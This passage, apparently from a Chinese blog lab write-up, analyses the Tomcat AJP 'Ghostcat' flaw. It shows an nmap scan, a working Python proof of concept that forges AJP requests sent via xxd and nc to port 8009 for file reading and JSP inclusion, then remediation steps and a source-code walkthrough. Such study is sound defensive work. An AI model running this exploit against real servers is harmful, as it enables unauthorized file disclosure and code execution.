└─# nmap -sS -T4 -O 192.168.2.164 -sV
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-16 04:59 PST
Nmap scan report for 192.168.2.164
Host is up (0.00038s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.43 ((Unix))
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8080/tcp open http Apache Tomcat 8.5.85
MAC Address: 00:0C:29:98:2C:BA (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
#2.修改脚本内我们抓到的AJP DATA,运行脚本
┌──(batman㉿kali)-[~]
└─$ python3 ajp.py | xxd -r -p | nc -v 192.168.2.164 8009
请求出现了403权限拒绝:
在吧唧上抓取数据包查看效果:
这里很正常,因为我的tomcat部署的版本8.5.85不在问题版本之内,经过一番排查,在配置文件里多了一个catalina.policy文件,里面有很多关于tomcat目录的访问控制。但是它是添加-security参数启动后才会调用的配置。
我们启动先前在宿主机上安装的tomcat,测试我们的脚本。
python3 ajp.py | xxd -r -p | nc -v 192.168.2.1 8009
测试成功
3.2.3.2 文件包含漏洞
要测试这个,我们还得对我们的AJP请求头进行重新抓取:
http://127.0.0.1/bbbb.jsp
抓取其AJPDATA,重新修改我们的poc:
import binascii
AJP_MAGIC = '1234'.encode()
#这里的头是去掉了1234和数据包长度的AJP_DAT部分---其实就是前去8后去2个字符
AJP_HEADER = b'02020008485454502f312e310000082f6262622e6a73700000093132372e302e302e3100ffff00093132372e302e302e3100005000000ba00b00093132372e302e302e3100a00e004e4d6f7a696c6c612f352e3020285831313b205562756e74753b204c696e7578207838365f36343b2072763a3130392e3029204765636b6f2f32303130303130312046697265666f782f3131302e3000a0010055746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f617669662c696d6167652f776562702c2a2f2a3b713d302e3800a004000e656e2d55532c656e3b713d302e3500a0030011677a69702c206465666c6174652c20627200a006000a6b6565702d616c697665000019557067726164652d496e7365637572652d52657175657374730000013100000e5365632d46657463682d44657374000008646f63756d656e7400000e5365632d46657463682d4d6f64650000086e6176696761746500000e5365632d46657463682d536974650000046e6f6e6500000e5365632d46657463682d557365720000023f31000a000f414a505f52454d4f54455f504f52540000053435323230000a000e414a505f4c4f43414c5f414444520000093132372e302e302e3100'
def unhex(hex):
return binascii.unhexlify(hex)
def pack_attr(attr):
attr_length = hex(len(attr))[2:].encode().zfill(2)
return attr_length + binascii.hexlify(attr.encode())
attribute = {
'javax.servlet.include.request_uri': '/WEB-INF/01.jsp',
'javax.servlet.include.path_info': '01.jsp',
'javax.servlet.include.servlet_path': '/WEB-INF/',
}
req_attribute = b''
for key, value in attribute.items():
key_length = hex(len(key))[2:].encode().zfill(2)
value_length = hex(len(value))[2:].encode().zfill(2)
req_attribute += b'0a00' + pack_attr(key) + b'0000' + pack_attr(value) + b'00'
AJP_DATA = AJP_HEADER + req_attribute + b'ff'
AJP_DATA_LENGTH = hex(len(binascii.unhexlify(AJP_DATA)))[2:].zfill(4)
AJP_FORWARD_REQUEST = AJP_MAGIC + AJP_DATA_LENGTH.encode() + AJP_DATA
print(AJP_FORWARD_REQUEST)
在tomcat根目录下创建我们的计算机执行代码1.jsp:
测试访问:
┌──(batman㉿kali)-[~/payload/ajp_tomcat]
└─$ python3 ajp_for_rce.py | xxd -r -p | nc -v 192.168.2.1 8009
成功弹出计算器
此种python强行构造数据包头的方法,确实很考验基本功。但是这一过程也让我们更清晰这个AJP协议的请求结构。以及利用方式。
4. 修补方案
幽灵猫安全漏洞其实并不是tomcat的程序设计问题,而是关于AJP协议功能的不恰当使用引发的。针对这类问题,其实我们的修复方案就分为两种:第一,如果我们用不到它,那就封堵掉这个功能。第二:如果我们还需要使用这样一种方案,那么我们就对其进行认证授权。过滤使用权限。下面是几个解决方案。
1.默认在
conf/server.xml
中禁用AJP连接器;
2.强制AJP协议默认监听本地环回地址,而不是0.0.0.0;
3.若使用AJP协议,设置secretRequired属性为true,强制配置secret来设置AJP协议认证凭证;
4.配置属性白名单,若向AJP连接器发送任意未被识别的属性,都会响应403;
5. 总结
由于 Tomcat 在处理 AJP 请求时,未对请求做任何验证, 通过设置 AJP 连接请求报文中封装的 request 对象的三个属性:
javax.servlet.include.request_uri = ‘/’
javax.servlet.include.path_info = ‘test.txt’
javax.servlet.include.servlet_path = ‘/’
让tomcat非法处理从而引发任意文件读取漏洞和文件包含漏洞。
在源码跟踪部分,我们掌握了跟进程序的一般调试方法,如何打断点,如何通过一步步的测试。一步步的跟进。清晰了解tomcat对接收到的web请求的处理流程。先交给连接器中的处理器构造请求,将其打包好后通过适配器(adapter)传递给容器中的引擎模块,经过host选择、context上下文匹配、wapper包装器,最终交给servlet模块,servlet此时就是最基础的请求处理模块,负责请求的处理。比如区分请求方法进行处理。在web.xml中有其相应的配置。默认有两个servlet块,一个默认模块,一个是jsp模块。不同的模块有不同的处理方式。最终结果还是会一层一层的返回给用户。
Q:为什么在POC中请求只能请求到webapps中的文件?
A:因为在请求处理的过程中,doget方法内部最终调用的getresource()函数内部,有一个vailueddata函数,里面的一个normalize方法,对请求的url进行了过滤。特别是出现../
这类请求,会直接报错。故无法越过网站根,向上一级请求。
从源码这一块我们可以看到就是不同的请求流程,在tomcat内部有不同的处理方法。但是,能做到这一点的前提一定是我们可以访问到8009端口,且tomcat的版本合适。
在使用python抓包的利用方案中,我们首先进行了环境搭建,是为了熟悉正常的反向代理AJP的应用。我们使用抓包的方式,结合官方文档,分析了AJP协议的请求数据包。在利用特征提取的方式,生成我们的恶意利用包头,通过xdd,nc两个工具的连续利用将数据包发送给目标存在漏洞的8009端口。同样可以达到利用效果。整个过程中我们要尤为注意的就是获取AJP_DATA时,一定要掐头去尾。否则就会有末尾的ff
一直让我们以为脚本坏了。
最后,祝各位在坐牢的路上越走越远…
参考文章:https://paper.seebug.org/1147/